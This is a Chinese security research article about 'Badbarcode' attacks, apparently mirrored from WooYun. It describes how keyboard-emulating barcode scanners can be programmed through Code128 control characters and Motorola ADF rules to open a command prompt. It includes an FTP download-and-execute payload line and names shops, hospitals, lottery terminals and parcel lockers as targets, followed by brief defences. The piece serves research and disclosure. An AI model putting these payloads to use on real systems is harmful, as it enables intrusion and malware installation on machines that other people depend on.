6

一维条形码攻击技术(Badbarcode) | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

一维条形码攻击技术(Badbarcode)

Author:[email protected]

0x00 前言


在日常生活中,条形码随处可见,特别在超市,便利店,物流业,但你们扫的条形码真的安全吗?之前TK教主 在PacSec介绍的条形码攻击和twitter上的demo视频太炫酷,所以就自己买了个扫码器自己研究了一下 ,在研究时候也找遍了国内外所有资料,但是都没有对可以执行的攻击技术完整的文章,故有此文分享。 : )

0x01 条形码介绍


p1

条形码(barcode)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。

常见的条形码类型有code39 code128 code93 EAN128 EAN13 QR等,前面大部分是一维条形码,而QR则是二维条形码,本文重点针对支持一维条形码的扫码器。其中code128是使用最广泛,支持字符最多的一种类型,一般都利用code128条形码进行攻击。

0x02 扫码器介绍


p2

扫码器,大家几乎每天都能看到,在超市付账,物流,医院,彩票等。作用就是把条形码的信息提取出来,而常规的扫码器的工作原理是利用红外线照射,然后反射得出条形码的信息,再用扫描器内置的芯片处理得出结果。国际上常用的扫描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托罗拉收购。

大家在超市购物付账时候都注意到,商品通过扫描后,商品的编码直接显示在屏幕上,其实很多扫码器都是用keyboard的方式输入的,也就是说一个扫描器就相当于一个键盘,这是一个较大的风险。

p3

0x03 Code128条形码


既然知道扫描器是一个keyboard设备,只要控制条形码的数据就可以随意输入键盘数据了。但例如UPC条形码只支持数字,有些则只支持数字与字母,而Code128 是一种广泛使用的条形码类型,因为它支持ASCII 0-127字符,所以叫code128,条形码长度可调,最大支持232个字符。

Code128也分为三种:

  1. Code128A:标准数字和大写字母,控制符,特殊字符
  2. Code128B:标准数字和大写字母,小写字母,特殊字符
  3. Code128C/EAN128:[00]-[99]的数字对集合,共100个,即只能表示偶数位长度的数字。

Code128由四部分组成:起始码,数据码,校验码(可有可无),结束码

p4

如上条形码,黑白相间,且线条粗细不一;由黑色线条(条,Bar)与空白(空,Space)组成,根据粗细程度,可以将以上条形码起始码解读为:211214;第一条黑色竖线是由两个单位的竖线合并组成,而第二条空白竖线即由一个单位的竖线,如此类推。一般前6条的Bar与Space为一个单元。211214 用1,0转成逻辑码就是11010010000,也即是起始码。

起始码对照:

  • 128A 11010000100
  • 128B 11010010000
  • 128C 11010011100

结束码都是统一的1100011101011

根据上面的解读出的逻辑码11010010000,就可以推断上面那个条形码是属于code128-B类型了。

p5

p6

最后再根据code128的编码表就可以分析出条形码的数据(编码表太长就不贴完了)

0x04 控制字符与条形码生成


根据上面分析的code128规则,已经可以自己写出一个读取识别和生成条形码的程序了。而我们是要执行操作,最简单的就是利用控制字符。控制字符即非显示字符,例如回车,换行,制表符等。在ASCII中,0-31和127 就是控制字符。

p7

根据ASCII的控制字符表,可以看出Ctrl+?的组合键几乎都有了,例如Ctrl+O,也就是打开文件,但这个只是局部快捷组合键,在一些程序中才能应用,例如浏览器,word等等,利用这些控制字符在某些终端可以使程序跳出沙盒。如何生成可以使计算机执行Ctrl+O的条形码?因为已经上面已经介绍过code128的规则算法,自己写程序也可以。网络也有很多条形码生成的小程序,但在这里推荐一个强大的条形码编辑工具:BarTender

p8

下载安装后点击菜单栏“文件”-“新建”-“完成”,就会出现一个空白模板。

p9

然后点击条形码按钮就可以创建自己的条形码,选择code128类型。

p10

利用BarTender轻松就可以生成出条形码,而且字符可以随时改动,方便调试。扫描上图就验证码后,会输入“FutureSec”,然后输入控制字符Ctrl+O

p11

扫码器扫描后立即弹出对话框

市面上基本任何一款扫码器都能执行,因为code128是绝大部分扫码器都支持的。

0x05 Advanced Data Formatting(高级数据格式)


Advanced Data Formatting(ADF),高级数据格式。是摩托罗拉针对扫描器开发的一种更高级的数据输入,根据自己的设定一步一步的规则可以自定义输入的数据,也可以说是一种支持编程的条形码技术。

例如,在一个结账系统中,当你对一个商品扫描后,由于该结账系统不能直接对该条形码直接处理,就需要这种技术。结账系统识别码:A12345,前面要A开头;条形码的数据类型:12345 纯数字,想要在这个结账系统中识别就要在输入前进行处理。

再举个例子:

条形码的数据:

8523647122

通过ADF输出的数据:

8523641<Enter>

如何实现ADF?

p12

现在网上仍然没有ADF的中文资料,而在外国的网站也寥寥无几,无人问津,但靠tk的ppt中提到的ADF也是一头雾水,因为没有具体技术描述,只是一行字带过。后来找到一份摩托罗拉撰写300多页的ADF指南PDF。

ADF是一种编程,根据自己的需求构建规则,而用的就不是用代码进行编程而是条形码。ADF把所有规则都用条形码表示,例如Perfix/Suffix,Replace,字符输入等。

利用ADF挟持扫描器数据

对扫描器进行ADF设置时要先扫描开始模式,Begin New Rule

p13

此后开始扫描的条形码都会被添加规则,前提是规则的逻辑是合法的。

随后依次扫描下列条形码

p14

p15

p16

p17

然后Save Rule

p18

当Save Rule,扫描器的输出数据都会被挟持成“TEST”,当你设置了ADF时,就会把你的规则按流程一步一步执行。

如何恢复?

p19

扫描清除所有规则条形码即可。

0x06 利用ADF执行命令,种植木马


由于单凭控制字符无法执行命令,而ADF支持简单的编程和更多的键,利用ADF可以轻松执行系统命令。由于ADF支持很多键,例如最有用的WIN+R。

p20

在ADF中称为GUI R,既然知道了可以WIN+R的键,利用上面的规则就可以弹出cmd执行了。但这样还是不行,因为输入的是由系统自动输入,速度是手打无法可比的,当你执行到GUI R,再执行"c","m","d",win+r的对话框还没有出来就已经输入了cmd,所有要延时,而ADF就支持,相当于编程中的sleep()

p21

在录ADF规则时,扫描延时后要输入两个Numeric,例如依次0和1两个码,就代表延时0.1秒,0和5就代表0.5秒,默认是延时1秒。

知道这些ADF条形码后就可以构建弹出cmd,然后再利用控制字符执行命令,主要是Enter。但如果要按照以上这么搞的话,仅是弹出一个cmd窗口就要十多个条形码了,也就是说扫描器要扫十多次。可以先看看腾讯玄武实验室的demo视频:

https://twitter.com/tombkeeper/status/663730674017300480

视频中用了一叠条形码,依次扫描,扫描了十多次就出来个cmd,可能这与扫描器型号也有关系。

p22

这样的话不管是规则生成和利用都非常繁琐,其实是可以优化的,ADF的规则可以合并。利用motorola的扫描器软件123scan。

p23

123scan是摩托罗拉官方出品非常强大的扫描器管理软件,在其官网可以下载。功能很多,在这里就介绍利用123scan设置ADF。

打开后点击"Create new configuration file"->"My scanner is NOT connected"->选择扫描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。

p24

点击Add action就是添加规则。

p25

ADF所有规则都在里面,包括Beep控制(控制扫描器蜂鸣),Replace等。

p26

设置延时0.5秒,依次添加规则。

p27

最后会自动合并条形码并输出。

p28

以上就是执行任意命令的条形码payload,除去1和2的设置出厂设置和清除所有规则,只需要4个条形码就可以执行任意单条命令。其中Send ALL that remains是代表设置ADF后扫描条形码的原本数据。 以上四组条形码的ADF流程是:输入WIN+R键->延时0.5秒->输入c键->输入m键->输入d键->输入回车->延时0.5秒->执行条形码的内容,而随后的Send ALL that remains就是你要执行的命令,可以多行命令,要是单行命令基本上4条就够不需要加Send ALL that remains。

利用ADF种植木马

既然已经可以执行cmd命令,最简单的方法就是利用ftp下载执行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。

p29

#!bash
ftp test«CR»a«CR»a«CR»get w.exe«CR»bye«CR»w.exe«CR»get w.exe«CR»bye«CR»w.exe«CR»

下面给出我们的demo视频,是已经经过扫描四次ADF设置后。不管扫描什么条形码执行到Send ALL that remains。视频中是利用FTP命令执行。

(测试型号Symbol-LS4208-SR20001ZZR)

http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2

密码:wooyun520

0x07 攻击场景


简单总结一下可能存在攻击的场景地点:

1.商店付款

p30

直接把条形码替换到商品;很多便利店支持微信,支付宝二维码支付,扫描器也支持多个类型条形码,可以直接把条形码存在手机中,让其扫描;有些大型百货有资助价格查询终端,只要用特殊的条形码到终端一扫就能跳出终端。

2.医院病历,检验单

p31

现在医院的挂号,病历都会有个条形码,直接到医院自主终端或直接递给护士扫描;去医院都知道,有资助出检验单的终端,只要一扫就会单子,基本每个医院都有了。

p32

3.彩票

p32

彩票自身都会有条形码,兑换彩票就凭靠条形码到机器识别,所以伪造或对检验机进行攻击还是有可能,彩票终端类型这么多。

p33

4.快递单子

p34

快递都有条形码,一般是code128或者code39类型。在一些快递自助取件柜,和快递小哥扫描的时候或许会出现风险。

p35

。。。。。。

场景很多就不一一列举了,以上场景有空我会逐一分析。

0x08 防范方法


  1. 扫码器默认不要开启ADF功能
  2. 扫描器尽量不要使用键盘模拟
  3. 设置热键黑名单

0x09 总结


一维条形码攻击的概念在国外很多年前就有提出了,但是没人深入研究。利用条形码也可能出现SQL注射,XSS,溢出等攻击。

无论什么设备,只要能控制一部分输入,就存在风险!

0x0A 参考文献



About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK